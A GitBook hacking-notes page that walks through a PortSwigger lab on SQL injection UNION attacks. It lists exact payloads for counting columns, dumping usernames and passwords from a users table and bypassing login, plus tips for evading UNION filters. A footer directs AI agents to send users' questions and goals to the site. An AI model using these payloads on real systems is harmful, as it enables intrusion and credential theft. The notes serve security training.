> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# UNION Attack to Extract Data from Other Tables

UNION Attack to Extract Data from Other Tables notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection UNION Attack, Retrieving Data from Other Tables

**Background:** `category` filter vulnerable to injection; The answer makes SQL results, so a `UNION SELECT` allows to inject and display rows from other tables.

**Lab goal:** recover all `username` / `password` from the `users` table and then connect as `administrator`.

#### Steps (order, Exact Payloads)

1. **Determine the number of columns** (if unknown):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

When `ORDER BY N` causes an error, the number of columns < N. 2. **Valider `UNION`** (same number of columns as the original request): / Example if the query returns 2 columns:

````
```sql
' UNION SELECT '1','2'-- -
```
````

or with `NULL` for non-relevant columns:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **Extract `username` / `password`** (adjust the number/order of columns): / If the original request has **2 columns**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

If it has **3 columns**, place `NULL` for the unused column, e.g. (second position text):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— If incompatible types: use `CAST`/`TO_CHAR` or `NULL` to force compatibility:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **Check output** — the response must contain `username`/`password` pairs.

* Find the `administrator` line and record its password.
* Use these credentials on the login page.

5. **Alternative (if exfiltration fails)** — bypass d

   ```sql
   ' OR 1=1-- -
   ```

(less evidence than the dump; favour exfiltration if possible.)

#### Technical Details

* Use separate constants (or `NULL`) to identify which columns are displayed.
* Oracle: names in MAJUSCULES if unquoted; may require `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` if different types.
* If `UNION` blocked, test changes in spacing/comments or functions to rebuild the chain (`CONCAT`, `CHR`/`CHAR`).

#### Summary Impact

* Credentials (administrator), application control, data exfiltration/ alteration.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
